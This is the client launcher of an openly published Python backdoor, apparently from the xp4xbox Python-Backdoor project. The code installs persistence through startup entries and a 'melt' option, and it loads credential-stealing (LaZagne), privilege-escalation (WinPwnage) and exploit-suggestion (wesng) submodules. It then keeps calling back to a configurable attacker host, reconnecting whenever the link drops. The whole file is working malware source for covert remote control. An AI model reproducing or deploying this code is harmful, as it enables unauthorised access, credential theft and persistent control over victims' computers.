```python
"""
https://github.com/xp4xbox/Python-Backdoor

@author     xp4xbox

license: https://github.com/xp4xbox/Python-Backdoor/blob/master/license
"""
import socket
import os
import sys

# make sure working dir is same as file dir
os.chdir(os.path.dirname(os.path.abspath(__file__)))

# append path, needed for all 'main' files
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__
)), os.pardir)))

from src.args import Args
from src import errors, helper

from src.definitions import platforms

if platforms.OS in [platforms.DARWIN, platforms.LINUX]:
    from src.client.persistence.unix import Unix as Persistence
elif platforms.OS == platforms.WINDOWS:
    from src.client.persistence.windows import Windows as Persistence

    helper.init_submodule("WinPwnage")
    helper.init_submodule("LaZagne/Windows")
    helper.init_submodule("wesng")
else:
    print("Platform not supported")
    sys.exit(0)

if platforms.OS == platforms.DARWIN:
    helper.init_submodule("LaZagne/Mac")
elif platforms.OS == platforms.LINUX:
    helper.init_submodule("LaZagne/Linux")

from src.client.client import Client
from src import logger


class MainClient:
    def __init__(self, host, port, is_host_name=False, add_to_startup=False, melt=
    False):
        self._args = Args(self)
        logger.init(self._args.get_args())

        self.client = None
        self.host = socket.gethostbyname(host) if is_host_name else host
        self.port = port

        p = Persistence()

        try:
            if melt:
                p.melt()

            if add_to_startup:
                p.add_startup()
        except (errors.ClientSocket.Persistence.StartupError, NotImplementedError):
            pass
```

```python
    def start(self):
        self.client = Client(self.host, self.port)

        try:
            self.client.connect()
        except Exception as e:  # if the server closes without warning or something
            happens
            self.client.logger.debug(f"Error occurred, restarting. {e}")

            self.client.es.socket.close()
            del self.client
            self.start()


if __name__ == "__main__":
    MainClient('127.0.0.1', 3003, False, False, False).start()
```